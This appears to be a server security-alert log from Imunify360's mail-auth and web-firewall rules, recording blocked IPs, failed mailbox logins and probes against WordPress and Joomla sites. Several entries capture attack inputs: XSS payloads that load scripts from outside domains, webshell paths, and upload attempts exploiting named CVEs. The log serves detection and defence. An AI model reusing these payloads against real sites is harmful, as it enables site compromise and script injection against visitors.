abuser: 92.205.239.91
country_id: 2921044
description:
Jul 23 00:43:14 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 92.205.239.91 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.90.67.84
country_id: 1643084
description:
Jul 23 00:45:59 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.90.67.84 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 47.242.158.155
country_id: 1819730
description:
Jul 23 00:49:52 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 47.242.158.155 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 187.184.121.239
country_id: 3996063
domain: metrodigitals.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/metrodigitals.com/pa-systems/projection-mapping HTTP/1.1||RSV:8.35||T:APACHE||


plugin: modsec
rule: 77350374
name: IM360 WAF: Scan attempt by bytespider crawler
abuser: 47.128.62.134
country_id: 1880251
domain: metrodigitals.com
description:
IM360 WAF: Scan attempt by bytespider crawler||UA:Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; Bytespider; spider-feedback@bytedance.com)||RSV:8.35||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 196.189.59.226
country_id: 337996
description:
Jul 23 00:58:03 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 196.189.59.226 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.189.59.226
country_id: 337996
description:
2026-07-23 00:58:05 dovecot_login authenticator failed for H=([177.135.206.10]) [196.189.59.226]:37026: 535 Incorrect authentication data (set_id=support@globalgroupoman.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 92.205.109.89
country_id: 3017382
description:
Jul 23 00:58:33 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 92.205.109.89 has been locked due to Imunify RBL


plugin: modsec
rule: 77140942
name: IM360 WAF: Possible WordPress Dashboard access for infectors
abuser: 143.244.57.90
country_id: 3017382
domain: ahsmarine.com
description:
IM360 WAF: Possible WordPress Dashboard access for infectors||RSV:8.35||T:APACHE||MV:/wp-json/wp/v2/users/||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 74.209.100.246
country_id: 6252001
description:
2026-07-23 00:59:58 dovecot_login authenticator failed for H=([222.92.61.242]) [74.209.100.246]:47428: 535 Incorrect authentication data (set_id=mail@kallanigroup.com)


plugin: modsec
rule: 77140942
name: IM360 WAF: Possible WordPress Dashboard access for infectors
abuser: 5.231.28.68
country_id: 2921044
domain: ahsmarine.com
description:
IM360 WAF: Possible WordPress Dashboard access for infectors||RSV:8.35||T:APACHE||MV:/wp-json/wp/v2/users||


plugin: modsec
rule: 77896900
name: IM360 WAF: Prohibited WordPress username login/registration
abuser: 5.231.28.68
country_id: 2921044
domain: ahsmarine.com
description:
IM360 WAF: Prohibited WordPress username login/registration||WPU:adminlin||User:ahsmarine||RSV:8.35||T:APACHE||


plugin: modsec
rule: 77350307
name: IM360 WAF: Prohibited WordPress username login/registration
abuser: 5.231.28.68
country_id: 2921044
domain: ahsmarine.com
description:
IM360 WAF: Prohibited WordPress username login/registration||WPU:wadminw@wordpress.com||User:ahsmarine||RSV:8.35||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 1.234.27.159
country_id: 1835841
description:
Jul 23 01:01:47 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 1.234.27.159 has been locked due to Imunify RBL


plugin: modsec
rule: 77209353
abuser: 38.253.224.24
country_id: 1643084
domain: idealloanz.com.au
description:
IM360 WAF: Unauthenticated file upload / RCE in Joomla SP Page Builder asset.uploadCustomIcon (CVE-2026-48908)||MVN:REQUEST_FILENAME||MV:/index.php||RSV:8.35||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 92.205.239.91
country_id: 2921044
description:
Jul 23 01:03:58 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 92.205.239.91 has been locked due to Imunify RBL


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 188.211.252.191
country_id: 1880251
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Mozilla/4.0 Bull Miners; <a href=\"https://cryptwerk.com/company/bull-miners/\">cryptwerk.com</a>, (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.35||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 47.242.158.155
country_id: 1819730
description:
Jul 23 01:11:54 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 47.242.158.155 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.19.182.118
country_id: 1269750
description:
2026-07-23 01:14:08 dovecot_login authenticator failed for H=([27.223.98.117]) [125.19.182.118]:36704: 535 Incorrect authentication data (set_id=khalid@globalgroupoman.com)


plugin: modsec
rule: 77469916
abuser: 103.87.68.58
country_id: 1643084
domain: globalgroupoman.com
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:cve-2026-48907-2074.xml.php||RSV:8.35||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 160.153.176.197
country_id: 6252001
description:
Jul 23 01:13:29 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 160.153.176.197 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 125.19.182.118
country_id: 1269750
description:
Jul 23 01:14:06 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 125.19.182.118 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 5.181.2.48
country_id: 3202326
description:
2026-07-23 01:14:20 dovecot_login authenticator failed for H=([112.194.142.167]) [5.181.2.48]:60754: 535 Incorrect authentication data (set_id=khalid)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 101.13.1.75
country_id: 1668284
description:
Jul 23 01:14:50 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 101.13.1.75 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 101.13.1.75
country_id: 1668284
description:
2026-07-23 01:14:52 dovecot_login authenticator failed for H=([49.124.159.191]) [101.13.1.75]:45342: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 5.181.2.48
country_id: 3202326
description:
Jul 23 01:14:18 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 5.181.2.48 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 101.13.5.39
country_id: 1668284
description:
2026-07-23 01:15:20 dovecot_login authenticator failed for H=([46.44.0.185]) [101.13.5.39]:52700: 535 Incorrect authentication data (set_id=corporate)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 92.205.109.89
country_id: 3017382
description:
Jul 23 01:19:01 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 92.205.109.89 has been locked due to Imunify RBL


plugin: modsec
rule: 77350169
name: IM360 WAF: Improper access check in webservice endpoints in Joomla! (CVE-2023-23752)
abuser: 91.196.152.254
country_id: 3017382
domain: www.futuracare.com.au
description:
IM360 WAF: Improper access check in webservice endpoints in Joomla! (CVE-2023-23752)||MV:true||RSV:8.35||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 92.205.239.91
country_id: 2921044
description:
Jul 23 01:24:41 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 92.205.239.91 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 1.234.27.159
country_id: 1835841
description:
Jul 23 01:25:20 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 1.234.27.159 has been locked due to Imunify RBL


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 5.59.248.79
country_id: 3175395
domain: globalgroupoman.com
description:
IM360 WAF: Bad file extension||RSV:8.35||T:APACHE||MVN:REQUEST_FILENAME||MV:/.env.backup||User:globalgroupoman||


plugin: modsec
rule: 77350207
name: IM360 WAF: WordPress plugins/themes version enumeration
abuser: 143.244.57.90
country_id: 3017382
domain: ibmctradeflow.com
description:
IM360 WAF: WordPress plugins/themes version enumeration||RSV:8.35||T:APACHE||REQUEST_URI:/wp-includes/wlwmanifest.xml||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.65.38.234
country_id: 1269750
description:
2026-07-23 01:33:48 dovecot_login authenticator failed for H=([49.125.201.79]) [182.65.38.234]:35178: 535 Incorrect authentication data (set_id=corporate)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 47.242.158.155
country_id: 1819730
description:
Jul 23 01:33:57 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 47.242.158.155 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 49.124.146.42
country_id: 1733045
description:
Jul 23 01:33:14 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 49.124.146.42 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.124.146.42
country_id: 1733045
description:
2026-07-23 01:33:16 dovecot_login authenticator failed for H=([113.140.95.250]) [49.124.146.42]:54048: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 182.65.38.234
country_id: 1269750
description:
Jul 23 01:33:46 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 182.65.38.234 has been locked due to Imunify RBL


plugin: modsec
rule: 77209355
name: IM360 WAF: Script execution in com_sppagebuilder media assets - web shell (CVE-2026-48908)
abuser: 194.114.136.4
country_id: 1861060
domain: www.alnayza.com
description:
IM360 WAF: Script execution in com_sppagebuilder media assets - web shell (CVE-2026-48908)||MVN:REQUEST_FILENAME||MV:/media/com_sppagebuilder/assets/iconfont/ty/fonts/ty.PHP||RSV:8.35||T:APACHE||


plugin: modsec
rule: 77316742
name: IM360 WAF: Generic XSS exploitation attempt
abuser: 46.226.166.112
country_id: 3017382
domain: interceptorglobal.in
description:
IM360 WAF: Generic XSS exploitation attempt||RSV:8.35||T:APACHE||MVN:ARGS:settings[customclass]||MV:\"><script/async/src=//sorrelalmanac.top/alias/metrics-render.js></script>||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 92.205.109.89
country_id: 3017382
description:
Jul 23 01:39:29 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 92.205.109.89 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 20.10.203.190
country_id: 6252001
domain: ahsmarine.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.35||T:APACHE||MV:/wp-admin/images/admin.php||SC:/home/ahsmarine/public_html/wp-admin/images/admin.php||


plugin: modsec
rule: 77472029
name: IM360 WAF: [monitor] PHP execution under wp-content/uploads (WPT-2631 attack-surface tracking)
abuser: 20.10.203.190
country_id: 6252001
domain: ahsmarine.com
description:
IM360 WAF: [monitor] PHP execution under wp-content/uploads (WPT-2631 attack-surface tracking)||MV:/wp-content/uploads/goods.php||RSV:8.35||T:APACHE||


plugin: modsec
rule: 77350586
name: IM360 WAF: Suspicious access to wp-includes library directory
abuser: 20.10.203.190
country_id: 6252001
domain: ahsmarine.com
description:
IM360 WAF: Suspicious access to wp-includes library directory||SC:/home/ahsmarine/public_html/wp-includes/SimplePie||RSV:8.35||T:APACHE||


plugin: modsec
rule: 77316742
name: IM360 WAF: Generic XSS exploitation attempt
abuser: 202.181.25.161
country_id: 1819730
domain: 103.185.74.189
description:
IM360 WAF: Generic XSS exploitation attempt||RSV:8.35||T:APACHE||MVN:ARGS:settings[customclass]||MV:\"><script src=\"https://js.aacaw.com/fp/v1.min.js\"></script>||


plugin: modsec
rule: 77350935
name: IM360 WAF: Dangerous PHP functions in HTTP headers
abuser: 47.82.11.240
country_id: 1880251
domain: globalgroupoman.com
description:
IM360 WAF: Dangerous PHP functions in HTTP headers||MVN:REQUEST_HEADERS:referer||MV:https://globalgroupoman.com/images/2021/05/22/The Inogen One\xc2\xae G3 System (IS-300)_thumbnail.jpg||RSV:8.35||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 205.185.113.241
country_id: 6252001
domain: www.yukticlick.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.35||T:APACHE||MV:/images/sec-b49f67a192.php||SC:/home/yukticlick/public_html/images/sec-b49f67a192.php||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 2804:53c8:61cc:bb00:2dfe:c15c:ceaa:474e
country_id: 3469034
domain: futuracare.com.au
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:68049.futuracare.com.au||ServerName:futuracare.com.au||Method:metaWeblog.newPost||BlogID:1||TitleSHA:b4653a4e6acdc2e85486178e89a78aeca6c4f180||Title:0x78bf6f25||RSV:8.35||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 92.205.239.91
country_id: 2921044
description:
Jul 23 01:45:24 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 92.205.239.91 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 205.185.113.241
country_id: 6252001
domain: yukticlick.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.35||T:APACHE||MV:/images/sec-54d7729d64.php||SC:/home/yukticlick/public_html/images/sec-54d7729d64.php||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 1.234.27.159
country_id: 1835841
description:
Jul 23 01:48:53 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 1.234.27.159 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 182.66.213.59
country_id: 1269750
description:
Jul 23 01:52:42 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 182.66.213.59 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.66.213.59
country_id: 1269750
description:
2026-07-23 01:52:44 dovecot_login authenticator failed for H=([49.124.155.189]) [182.66.213.59]:52400: 535 Incorrect authentication data (set_id=nirmal@globalgroupoman.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 47.242.158.155
country_id: 1819730
description:
Jul 23 01:55:59 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 47.242.158.155 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 154.243.238.154
country_id: 2589581
domain: metrodigitals.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/metrodigitals.com/solutions/home-av-solutions HTTP/1.1||RSV:8.35||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 92.205.109.89
country_id: 3017382
description:
Jul 23 01:59:56 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 92.205.109.89 has been locked due to Imunify RBL


plugin: modsec
rule: 77469916
abuser: 51.34.122.74
country_id: 2658434
domain: globalgroupoman.com
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:alfa.php||RSV:8.35||T:APACHE||


plugin: modsec
rule: 77102143
abuser: 103.130.18.141
country_id: 1643084
domain: globalgroupoman.com
description:
IM360 WAF: Unauthenticated front-end JCE editor-profile import in Joomla Content Editor before 2.9.99.5 (CVE-2026-48907)||MVN:REQUEST_FILENAME||MV:/index.php||RF:/index.php||RSV:8.35||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 70.183.236.209
country_id: 6252001
description:
Jul 23 02:04:13 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 70.183.236.209 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 70.183.236.209
country_id: 6252001
description:
2026-07-23 02:04:15 dovecot_login authenticator failed for H=wsip-70-183-236-209.pn.at.cox.net (ipmapt-72-195-114-182.oc.oc.cox.net) [70.183.236.209]:51023: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 170.9.53.196
country_id: 6252001
description:
Jul 23 02:04:40 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 170.9.53.196 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 170.9.53.196
country_id: 6252001
description:
2026-07-23 02:04:42 dovecot_login authenticator failed for H=([49.124.149.48]) [170.9.53.196]:39986: 535 Incorrect authentication data (set_id=corporate)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 92.205.239.91
country_id: 2921044
description:
Jul 23 02:06:06 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 92.205.239.91 has been locked due to Imunify RBL


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 172.81.129.42
country_id: 6252001
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Mozilla/4.0 <a href=\"https://samedayhvacrepair1.info\">homepage</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.35||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.173.7.123
country_id: 1168579
domain: metrodigitals.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/metrodigitals.com/component/content/article/signature-elite-series-es90?Itemid=101&catid=18 HTTP/1.1||RSV:8.35||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 47.242.158.155
country_id: 1819730
description:
Jul 23 02:17:59 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 47.242.158.155 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 202.66.180.249
country_id: 1168579
domain: metrodigitals.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/metrodigitals.com/news HTTP/1.1||RSV:8.35||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 92.205.109.89
country_id: 3017382
description:
Jul 23 02:20:22 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 92.205.109.89 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 160.153.176.197
country_id: 6252001
description:
Jul 23 02:20:44 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 160.153.176.197 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 188.122.39.33
country_id: 2635167
description:
Jul 23 02:22:37 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 188.122.39.33 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 188.122.39.33
country_id: 2635167
description:
2026-07-23 02:22:39 dovecot_login authenticator failed for H=([84.225.51.158]) [188.122.39.33]:47836: 535 Incorrect authentication data (set_id=mbt@globalgroupoman.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 183.171.49.181
country_id: 1733045
description:
Jul 23 02:23:07 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 183.171.49.181 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 183.171.49.181
country_id: 1733045
description:
2026-07-23 02:23:09 dovecot_login authenticator failed for H=([193.242.177.178]) [183.171.49.181]:34494: 535 Incorrect authentication data (set_id=mbt)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 38.47.191.134
country_id: 1880251
domain: globalgroupoman.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.35||T:APACHE||MV:/administrator/components/com_jdownloads/assets/upload/upload-handler.php||SC:/home/globalgroupoman/public_html/administrator/components/com_jdownloads||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 92.205.239.91
country_id: 2921044
description:
Jul 23 02:26:48 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 92.205.239.91 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 211.20.70.64
country_id: 1668284
description:
Jul 23 02:27:01 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 211.20.70.64 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 211.20.70.64
country_id: 1668284
description:
2026-07-23 02:27:03 dovecot_login authenticator failed for H=211-20-70-64.hinet-ip.hinet.net ([149.54.62.58]) [211.20.70.64]:41441: 535 Incorrect authentication data (set_id=khalid@globalgroupoman.com)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 20.10.203.190
country_id: 6252001
domain: alnayza.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.35||T:APACHE||MV:/wp-admin/images/admin.php||SC:/home/alnay/public_html/wp-admin||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 20.10.203.190
country_id: 6252001
domain: alnayza.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.35||T:APACHE||MV:/wp-content/uploads/goods.php||SC:/home/alnay/public_html/wp-content||


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 205.169.39.53
country_id: 6252001
domain: globalgroupoman.com
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/150.0.0.0 Safari/537.36||RSV:8.35||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 24.207.66.154
country_id: 6251999
description:
2026-07-23 02:35:37 dovecot_login authenticator failed for H=host-24-207-66-154.public.eastlink.ca ([192.111.137.33]) [24.207.66.154]:56506: 535 Incorrect authentication data (set_id=support@globalgroupoman.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 74.209.100.246
country_id: 6252001
description:
Jul 23 02:36:04 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 74.209.100.246 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 74.209.100.246
country_id: 6252001
description:
2026-07-23 02:36:06 dovecot_login authenticator failed for H=([61.32.68.66]) [74.209.100.246]:40922: 535 Incorrect authentication data (set_id=support)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 182.74.16.178
country_id: 1269750
domain: gsmex.global
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:97076.gsmex.global||ServerName:gsmex.global||Method:metaWeblog.newPost||BlogID:1||TitleSHA:78e0e71201fb1c5d224f16e3eda2932ba60372a2||Title:0xd91fea16||RSV:8.35||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 20.10.203.190
country_id: 6252001
domain: futuracare.com.au
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.35||T:APACHE||MV:/wp-admin/images/admin.php||SC:/home/futuracarecom/public_html/wp-admin||


plugin: modsec
rule: 77281327
abuser: 135.136.0.171
country_id: 2921044
domain: ibmcglobal.com
description:
IM360 WAF: Unauthenticated file write/delete via Helix3 com_ajax handler for Joomla before 3.1.1 (CVE-2026-49049)||MVN:REQUEST_FILENAME||MV:/index.php||RF:/index.php||RSV:8.35||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 20.10.203.190
country_id: 6252001
domain: futuracare.com.au
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.35||T:APACHE||MV:/wp-content/uploads/goods.php||SC:/home/futuracarecom/public_html/wp-content||


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 45.142.99.84
country_id: 6252001
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Mozilla/4.0 discover where you can pay with Monero (<a href=\"https://xmrlist.com\">https://xmrlist.com</a>) (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.35||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 14.96.106.175
country_id: 1269750
description:
Jul 23 02:39:42 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 14.96.106.175 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 14.96.106.175
country_id: 1269750
description:
2026-07-23 02:39:44 dovecot_login authenticator failed for H=(54.0.90.149.rev.vodafone.pt) [14.96.106.175]:37264: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.178.174
country_id: 1269750
description:
2026-07-23 02:39:57 dovecot_login authenticator failed for H=(190024687.ip3.static.mediacommerce.com.co) [182.95.178.174]:35036: 535 Incorrect authentication data (set_id=sajithkumar.pk)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 182.95.178.174
country_id: 1269750
description:
Jul 23 02:39:55 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 182.95.178.174 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 47.242.158.155
country_id: 1819730
description:
Jul 23 02:40:01 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 47.242.158.155 has been locked due to Imunify RBL


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 172.81.129.42
country_id: 6252001
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Mozilla/4.0 <a href=\"https://hvacservice2.info\">web site</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.35||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 203.189.184.120
country_id: 1227603
domain: metrodigitals.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/metrodigitals.com/component/content/article/signature-elite-series-es15?Itemid=101&catid=18 HTTP/1.1||RSV:8.35||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 92.205.239.91
country_id: 2921044
description:
Jul 23 02:47:33 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 92.205.239.91 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 81.30.98.195
country_id: 130758
description:
2026-07-23 02:52:08 H=([81.30.98.195]) [81.30.98.195]:42574 F=<cynthia@ximatgolf.com> rejected RCPT <amaslim90@outlook.com>: SMTP AUTH is required for message submission on port 587


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 1.234.27.159
country_id: 1835841
description:
Jul 23 02:59:31 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 1.234.27.159 has been locked due to Imunify RBL


